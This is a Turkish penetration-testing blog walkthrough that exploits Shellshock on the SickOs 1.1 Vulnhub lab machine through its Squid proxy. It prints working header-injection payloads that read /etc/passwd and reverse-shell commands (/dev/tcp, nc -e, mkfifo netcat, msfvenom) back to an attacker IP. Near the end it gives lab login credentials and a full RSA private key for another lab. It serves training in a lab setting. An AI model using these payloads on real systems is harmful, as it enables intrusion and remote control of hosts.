Vekil Sunucu Üzerinden Erişilen Web Servisinde Shellshock Zafiyetinin İstismar Edilmesi

0
1231
views

 

Sızma testleri sırasında bir vekil (proxy) sunucu üzerinden başka ağlara veya servislere erişim sağlanması gerekebilir. Bu yazıda SickOs: 1.1 sanal makinesindeki Shellshock zafiyeti içeren web servisine, aynı makinedeki Squid Proxy üzerinden erişilecek ve Shellshock zafiyeti istismar edilerek komut satırı erişimi elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan SickOs: 1.1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/sickos-11,132/

 

Port taramasında sanal makinenin 22 portundan SSH (OpenSSH 5.9p1), 3128 portundan da Squid Proxy (sürüm 3.1.19) hizmeti verildiği görülmektedir. Ayrıca 80 portundan ise cevap gelmediği görülür.

nmap -Pn -n –open 10.100.50.229 -sV
nmap -Pn -n 10.100.50.229 -p80 –reason

 

1) MSF squid_pivot_scanning ile Vekil Sunucu Üzerinden Port Taramasının Gerçekleştirilmesi

Vekil sunucu üzerinden port taraması için MSF squid_pivot_scanning auxiliary modülü kullanılabilir.

use auxiliary/scanner/http/squid_pivot_scanning
show options

 

Modüle RANGE olarak tarama yapılacak hedef (127.0.0.1 veya 10.100.50.229), vekil sunucu IP ve port bilgisi verilir. Tarama sonucunda açık portlar listelenir.

set PORTS 21,22,23,25,80,110,139,443,445,3389,3306
set RHOSTS 10.100.50.229
set RPORT 3128
set RANGE 127.0.0.1
run

 

Sonuç olarak 80 ve 3306 portlarından hizmet verildiği ve bu servislere bağlanmak için vekil olarak 10.100.50.229 IP’li makinenin kullanılması gerektiği belirtilmektedir.

Not: Nmap http-open-proxy betiği ile servisin HTTP vekil uygulaması olup olmadığının kontrolü beklenen sonucu vermemiştir.

nmap -Pn -n -sV –script http-open-proxy -p 3128 10.100.50.229

tail -f /var/log/squid3/*.log

 

Benzer olarak vekil sunucu üzerinden ağ keşfi için nmap aracı kullanılmış olsa da 80 portundan cevap alınamamıştır. Çevresel değişkenelerin (export http_proxy=10.100.50.229:3128) ayarlanması da sonucu değiştirmemiştir.

nmap -Pn -n -sV –top-ports 10 –proxy http://10.100.50.229:3128 10.100.50.229 -sT

 

/etc/proxychains.conf” dosyasının içerisine “http 10.100.50.229 3128” ifadesi yazılarak nmap ile port taraması yapılması durumunda da beklenen sonuç elde edilememiştir.

tail -2 /etc/proxychains.conf
proxychains nmap -Pn -n -sV –top-ports 10 10.100.50.229 -sT

 

 

2) Web Tarayıcı Üzerinden Vekil Sunucuyu Ayarlayarak Web Servisine Erişim Sağlanması

Günümüzde kullanılan web tarayıcıların neredeyse tamamının vekil istemci desteği bulunmaktadır. Normalde erişim sağlanamayan hedef web uygulamasına (http://10.100.50.229/) vekil sunucu üzerinden erişebilmek için Firefox üzerinde aşağıdaki ayarlar gerçekleştirilebilir.

 

Böylece hedef uygulamaya erişim sağlanabilmiştir.

 

3) Vekil Sunucu Üzerinden Erişim için Burp Suite Vekil Uygulamasının / Sunucusunun Kullanılması

Bir uygulamaya vekil sunucusu üzerinden erişim sırasında başka bir vekil araç kullanarak araya girmek ve trafiği incelemek gerekebilir. Örneğin, Windows bilgisayarımızda kurulu olan Firefox üzerinde, Kali üzerinde kurulu olan Burp Suite aracı vekil olarak gösterilebilir. Burp Suite de vekil olarak SickOs: 1.1 sanal makinesindeki Squid Proxy servisini kullanacak şekilde ayarlanabilir.

  • İstemci (Firefox): 10.100.50.20
  • Kali (BurpSuite): 10.100.50.228 (:8888)
  • SickOs: 1.1 (Squid Proxy): 10.100.50.229 (:3128)

Bu amaçla öncelikle Burp Suite aracı vekillik hizmeti verecek şekilde ayarlanır. Örneğin, aşağıda kendisine ait TCP 8888 portuna gelecek olan talepleri yakalacak şekilde ayarlanmıştır.

 

İstemci bilgisayarın Firefox web tarayıcısında vekil sunucu olarak, Kali bilgisayardaki Burp Suite aracı verilir.

 

Son olarak da Burp Suite aracına gelen taleplerin iletileceği vekil sunucunun erişim bilgileri Upstream Proxy Servers olarak girilir.

 

Böylece Windows bilgisayardaki Firefox üzerinden gönderilen talepler önce Kali üzerindeki Burp Suite aracından, sonra da SickOs: 1.1 üzerindeki Squid Proxy üzerinden geçerek hedefe ulaşmakta ve cevabı da benzer yolu izleyerek geri dönmektedir.

 

 

4) Shellshock Zafiyetinin Detayı

Eylül 2014’te duyurulan Shellshock zafiyeti ile hedef sistem üzerinde servisi kullanan hesap yetkisi ile uzaktan komut çalıştırılabilir.

Bu zafiyete ait çeşitli CVE’ler yayınlanmıştır. Bunlardan bazıları aşağıdaki gibidir.

  • CVE-2014-6271
  • CVE-2014-6277
  • CVE-2014-6278
  • CVE-2014-7169
  • CVE-2014-7186
  • CVE-2014-7187

Bash (Bourne-Again Shell) normalde, çevresel değişkenlerde fonksiyon tanımlanmasına izin verir. Shellshock zafiyetinin temelinde de, Bash kabuğunun ortam değişkenleri olarak gönderilen fonksiyonları işlerken, yeterli kontrolün gerçekleştirmemesinden kaynaklanır. Bu zafiyet en çok internete hizmet veren web servislerini tehdit etmektedir. Web servisleri arasında da Common Gateway Interface (CGI) kullanan web servisler (Apache gibi) için en büyük tehditi oluşturmaktadır. CGI uygulamaları modem, kamera vb gibi gömülü sistemlerde ve web uygulamalarında kullanılmaktadır. CGI ile web uygulamalarına dinamik olarak içerik üretilebilmesini sağlanır ve bu içerik sağlanırken de Bash üzerinden derlenir. Apache bu içeriği iletirken bazı HTTP başlıklarından (User-Agent, Cookie ve Referer gibi) gelen değişkenleri de çevresel değişken olarak belirler. Eğer bu başlıklardaki değerler son kullanıcıdan alınırsa, son kullanıcının belirttiği komutlar hedef işletim sisteminin Bash kabuğunda ilgili servis (Apache gibi) kullanıcısı yetkisi ile çalıştırılmış olur.

Shellshock zafiyetinin istismar edilebileceği kapsamlar aşağıdaki gibi sıralanabilir.

  • CGI uygulaması (özellikle “mod_cgi” ve “mod_cgid”) kullanan web sunucuları (özellikle Apache)
  • SSH servisini kullanan sunucular (özellikle ortak olarak kullanılan git sunucuları)
  • Sistem yapılandırması için Shell betikleri kullanan ve DHCP isteğinde bulunan istemciler
  • Shell betikleri ve ortam değişkenlerini kullanan diğer servisler

 

Shellshock zafiyeti olup olmadığının testi için aşağıdaki gibi bir komut kullanılabilir.

env x='() { :;}; echo “Zafiyet Mevcut!!!”‘ bash -c ‘echo “Komut sonlandiriliyor…”‘

 

Zafiyeti olan bir Bash kabuğunda “Zafiyet Mevcut!!!” ifadesi ekrana yazıdırılır.

 

Zafiyeti o bir Bash kabuğunda ise bu ifade yazdırılmadan sadece “Komut sonlandiriliyor…” ifadesi ekrana yazıdırılır.

 

 

5) Nikto ile Shellshock Zafiyetinin Keşfi

Shellshock zafiyetinin keşfi için nikto aracı kullanılabilir. Nikto aracına vekil sunucu bilgileri (10.100.50.229:3128) girildiğinde hedef uygulamada (127.0.0.1 veya 10.100.50.229) Shellshock zafiyetinin olduğu görülebilir.

nikto -h 10.100.50.229 -C all –useproxy 10.100.50.229:3128 | grep OSVDB

 

Komut satırında belirtmeden “/etc/nikto.conf” dosyasında vekil sunucu bilgileri girildiğinde de benzer sonuç elde edilebilir.

nano /etc/nikto.conf
cat /etc/nikto.conf -n | grep -i proxy
nikto -h 127.0.0.1 -C all –useproxy | grep OSVDB

 

6) “cgi-bin/status” Çıktısının İncelenmesi

CGI uygulamalarında varsayılan olarak bulunan konumlardan birisi “/cgi-bin/status” yoludur. Buraya talep gerçekleştirildiğinde sistemin ayakta olma süresi (“uptime” çıktısı) ve çekirdek bilgisi (“uname -a” çıktısı) JSON formatında elde edilir.

Bu amaçla “curl” aracı kullanılabilir.

curl http://10.100.50.229/cgi-bin/status –proxy 10.100.50.229:3128

 

wget” aracı ile de benzer sonuç elde edilebilir.

wget -qO- http://127.0.0.1/cgi-bin/status -e http_proxy=10.100.50.229:3128

 

Sonuçlardan da görüldüğü üzere, işletim sisteminde çalışan kabuk ile etkileşim sağlanabilmekte ve sonuçları kullanıcıya iletilmektedir.

Not: “cgi-bin/status” ile komut çıktılarının elde edilebilmesi Shellshock zafiyeti olabileceğine bir işaret olarak değerlendirilebilir. Bu zafiyetin mevcudiyetinin kontrolü için Nmap http-shellshock betiği de kullanılabilir. Ancak nmap aracının vekil uygulama üzerinden düzgün bir şekilde çalıştırılamaması sebebi ile beklenen sonuç elde edilememiştir.

nmap -Pn -n -sV –script http-shellshock -p 80 10.100.50.229 –proxy http://10.100.50.229:3128

 

7) Hedef Uygulama Üzerinde Komut Çalıştırılması

Shellshock zafiyeti ile hedef uygulama üzerinde uygulamayı çalıştıran kullanıcı yetkisi ile komut çalıştırılabilir. Hedef uygulamaya Referer, User Agent, Host… gibi başlıklar değiştirilerek gönderildiğinde bu başlıklar hedef uygulama tarafından işlenecektir.

Bu amaçla “curl” aracı kullanılabilir.

curl –proxy 10.100.50.229:3128 http://127.0.0.5/cgi-bin/status -H “Referer: () { :;}; echo; /usr/bin/id; exit”

curl –proxy 10.100.50.229:3128 http://127.0.0.5/cgi-bin/status -H “Referer: () { :;}; echo; /bin/cat /etc/passwd; exit”

 

“wget” aracı ile de benzer sonuç elde edilebilir.

wget -qO- -U “() { :;}; echo; /bin/cat /etc/*release*” -e http_proxy=10.100.50.229:3128 http://localhost/cgi-bin/status

wget -qO- -U “() { :;}; echo; /usr/bin/find / -name nc” -e http_proxy=10.100.50.229:3128 http://localhost/cgi-bin/status

 

Vekil sunucu tanımları yapılmış Burp Suite aracı ile de benzer sonuç elde edilebilir. Gelen cevapta çalıştırılmak istenen komutların (“pwd”, “ls”, “ls /home”) sıralı bir şekilde çalışmayıp cevap dönüldüğü (“ls /home”, “pwd”, “ls”) görülür.

Referer: () { :;}; echo; /bin/pwd & /bin/ls & /bin/ls /home

 

Not: Bazı ortamlarda “;” ile ardışık komut çalıştırmak mümkün iken SickOs: 1.1 sanal makinesinde “&” kullanmak gerekmektedir.

Ayrıca aynı anda 2 farklı başlık kullanılarak zafiyet istismar edilmeye çalışıldığında ilk başlığın işlendiği görülmektedir.

User-Agent: () { :;}; echo; /bin/ls /etc/cron.d
Referer: () { :;}; echo; /usr/bin/env

 

8) Shellshock Zafiyetinin “exec” Aracı ile İstismarı

Hedef işletim sisteminde komut satırı elde etmek için MSFvenom aracı ile hazırlanan bir Payload kullanılabilir. İstismar sonrasında çalışacak bu Payload ile ters bağlantı oluşacaktır. Bu bağlantı talebini yakalayacak dinleyici de başlatılır.

msfvenom -p cmd/unix/reverse_bash LHOST=10.100.50.228 LPORT=13579 -f raw
nc -nlvp 13579

 

İstismar işlemi için “curl” aracı kullanılabilir. İstismar sırasında Payload içerisinde “sh” yazılması durumunda “500 Internal Server Error” alınmaktadır. Bunun yerine “/bin/sh” yazıldığında komut satırı erişimi elde edilebilmiştir.

curl -v –proxy 10.100.50.229:3128 localhost/cgi-bin/status -H “Referer: () { :;}; 0<&96-;exec 96<>/dev/tcp/10.100.50.228/13579;/bin/sh <&96 >&96 2>&96”

hostname
id
pwd
echo $PATH
cat /etc/*release*

 

 

9) Shellshock Zafiyetinin “nc” Aracı ile İstismarı

Hedef işletim sisteminde komut satırı elde etmek için standart “nc” aracı kullanılabilir. Öncelikle bağlantı talebini yakalayacak dinleyici de başlatılır.

nc -nlvp 24680

 

wget” aracı standart “nc” parametreleri ile kullanıldığında ters bağlantı talebinin oluşmadığı görülmüştür.

wget -vO- -U “() { :;}; echo; /bin/nc 10.100.50.228 24680 -e /bin/sh” -e http_proxy=10.100.50.229:3128 http://127.0.0.1/cgi-bin/status

 

Bunun yanında “nc” aracına “-e” seçeneği verilmediğinde talebin yapıldığı ancak prosesin hemen sonlandığı görülmektedir.

wget -vO- -U “() { :;}; echo; /bin/nc 10.100.50.228 24680 -e /bin/sh” -e http_proxy=10.100.50.229:3128 http://127.0.0.1/cgi-bin/status

 

“-e” parametresini kabul etmeyen “nc” araçları için MSFvenom ile Payload oluşturulabilir. Bu talebi yakalayacak aynı dinleyici yeniden başlatılır.

msfvenom -p cmd/unix/reverse_netcat LHOST=10.100.50.228 LPORT=24680 R

nc -nlvp 24680

 

Not: Araçların tam yolu verilerek çalıştırılması gereklidir.

/usr/bin/mkfifo /tmp/pplylnm; /bin/nc 10.100.50.228 24680 0</tmp/pplylnm | /bin/sh >/tmp/pplylnm 2>&1; /bin/rm /tmp/pplylnm

 

wget” aracına bu Payload verildiğinde ters bağlantı talebinin oluşmadığı görülmüştür. Ancak “pplylnm” dosyasının ise oluştuğu görülmüştür.

wget -vO- -U “() { :;}; echo; /usr/bin/mkfifo /tmp/pplylnm; /bin/nc 10.100.50.228 24680 0</tmp/pplylnm | /bin/sh >/tmp/pplylnm 2>&1; /bin/rm /tmp/pplylnm” -e http_proxy=10.100.50.229:3128 http://127.0.0.1/cgi-bin/status

wget -qO- -U “() { :;}; echo; /bin/ls /tmp -la” -e http_proxy=10.100.50.229:3128 http://127.0.0.1/cgi-bin/status

 

Bunun sebebi kullanılan sanal makinenin “;” karakterini işlemesinden kaynaklıdır. Bunun üzerine Payload kaldığı yerden (/bin/nc 10.100.50.228 24680 0</tmp/pplylnm | /bin/sh >/tmp/pplylnm 2>&1;) çalıştırıldığında komut satının elde edildiği görülmüştür.

wget -vO- -U “() { :;}; echo; /bin/nc 10.100.50.228 24680 0</tmp/pplylnm | /bin/sh >/tmp/pplylnm 2>&1;” -e http_proxy=10.100.50.229:3128 http://127.0.0.1/cgi-bin/status

Not: “nc” aracı aşağıdaki gibi kullanımı da mümkündür.

echo “HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc SALDIRGAN_IP 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n” | nc KURBAN_IP 80

 

Not: Benzer olarak “shocker” Python betiği de kullanılabilir

https://github.com/nccgroup/shocker

./shocker.py -H HEDEF_IP –command “/bin/cat /etc/passwd” -c /cgi-bin/status –verbose

 

Bu makineye aşağıdaki bilgiler ile erişim sağlanabilir. Bu kullanıcıdan da “sudo su” ile “root” yetkisine erişim sağlanabilir.

Kullanıcı Adı: sickos
Parola: john@123

 

Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:

  • Tr0ll: 2: https://www.vulnhub.com/entry/tr0ll-2,107/
    • SSH (22) Kimlik Bilgileri: noob / OzelAnahtar.txt
    • İstismar Yöntemi: ssh noob@HEDEF_IP -i OzelAnahtar.txt ‘() { :;}; /bin/bash’
    • OzelAnahtar.txt: —–BEGIN RSA PRIVATE KEY—–
      MIIEpAIBAAKCAQEAsIthv5CzMo5v663EMpilasuBIFMiftzsr+w+UFe9yFhAoLqq
      yDSPjrmPsyFePcpHmwWEdeR5AWIv/RmGZh0Q+Qh6vSPswix7//SnX/QHvh0CGhf1
      /9zwtJSMely5oCGOujMLjDZjryu1PKxET1CcUpiylr2kgD/fy11Th33KwmcsgnPo
      q+pMbCh86IzNBEXrBdkYCn222djBaq+mEjvfqIXWQYBlZ3HNZ4LVtG+5in9bvkU5
      z+13lsTpA9px6YIbyrPMMFzcOrxNdpTY86ozw02+MmFaYfMxyj2GbLej0+qniwKy
      e5SsF+eNBRKdqvSYtsVE11SwQmF4imdJO0buvQIDAQABAoIBAA8ltlpQWP+yduna
      u+W3cSHrmgWi/Ge0Ht6tP193V8IzyD/CJFsPH24Yf7rX1xUoIOKtI4NV+gfjW8i0
      gvKJ9eXYE2fdCDhUxsLcQ+wYrP1j0cVZXvL4CvMDd9Yb1JVnq65QKOJ73CuwbVlq
      UmYXvYHcth324YFbeaEiPcN3SIlLWms0pdA71Lc8kYKfgUK8UQ9Q3u58Ehlxv079
      La35u5VH7GSKeey72655A+t6d1ZrrnjaRXmaec/j3Kvse2GrXJFhZ2IEDAfa0GXR
      xgl4PyN8O0L+TgBNI/5nnTSQqbjUiu+aOoRCs0856EEpfnGte41AppO99hdPTAKP
      aq/r7+UCgYEA17OaQ69KGRdvNRNvRo4abtiKVFSSqCKMasiL6aZ8NIqNfIVTMtTW
      K+WPmz657n1oapaPfkiMRhXBCLjR7HHLeP5RaDQtOrNBfPSi7AlTPrRxDPQUxyxx
      n48iIflln6u85KYEjQbHHkA3MdJBX2yYFp/w6pYtKfp15BDA8s4v9HMCgYEA0YcB
      TEJvcW1XUT93ZsN+lOo/xlXDsf+9Njrci+G8l7jJEAFWptb/9ELc8phiZUHa2dIh
      WBpYEanp2r+fKEQwLtoihstceSamdrLsskPhA4xF3zc3c1ubJOUfsJBfbwhX1tQv
      ibsKq9kucenZOnT/WU8L51Ni5lTJa4HTQwQe9A8CgYEAidHV1T1g6NtSUOVUCg6t
      0PlGmU9YTVmVwnzU+LtJTQDiGhfN6wKWvYF12kmf30P9vWzpzlRoXDd2GS6N4rdq
      vKoyNZRw+bqjM0XT+2CR8dS1DwO9au14w+xecLq7NeQzUxzId5tHCosZORoQbvoh
      ywLymdDOlq3TOZ+CySD4/wUCgYEAr/ybRHhQro7OVnneSjxNp7qRUn9a3bkWLeSG
      th8mjrEwf/b/1yai2YEHn+QKUU5dCbOLOjr2We/Dcm6cue98IP4rHdjVlRS3oN9s
      G9cTui0pyvDP7F63Eug4E89PuSziyphyTVcDAZBriFaIlKcMivDv6J6LZTc17sye
      q51celUCgYAKE153nmgLIZjw6+FQcGYUl5FGfStUY05sOh8kxwBBGHW4/fC77+NO
      vW6CYeE+bA2AQmiIGj5CqlNyecZ08j4Ot/W3IiRlkobhO07p3nj601d+OgTjjgKG
      zp8XZNG8Xwnd5K59AVXZeiLe2LGeYbUKGbHyKE3wEVTTEmgaxF4D1g==
      —–END RSA PRIVATE KEY—–
  • Pentester Lab: CVE-2014-6271: ShellShock: https://www.vulnhub.com/entry/pentester-lab-cve-2014-6271-shellshock,104/
  • Typhoon: 1.02: https://www.vulnhub.com/entry/typhoon-102,267/

 

 

Kaynaklar:

https://www.bgasecurity.com/2014/11/bash-Shellshock-guvenlik-acklg-istismar/

Bash Bug / Shellshock Bug

ShellShock ( CVE-2014-6271 ) Güvenlik Açığının Saldırı Senaryoları


https://www.trustedsec.com/september-2014/Shellshock-dhcp-rce-proof-concept/
https://wg135.github.io/blog/2016/05/18/sickos-1-dot-1/
https://www.sniferl4bs.com/2016/01/burpsuite-iv1-configurando-burp-suite.html
https://jhalon.github.io/vulnhub-sick-os1/
https://blog.knapsy.com/blog/2014/10/07/basic-shellshock-exploitation/
https://www.slideshare.net/bgasecurity/istsec14-onur-alanbel-shellshock

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.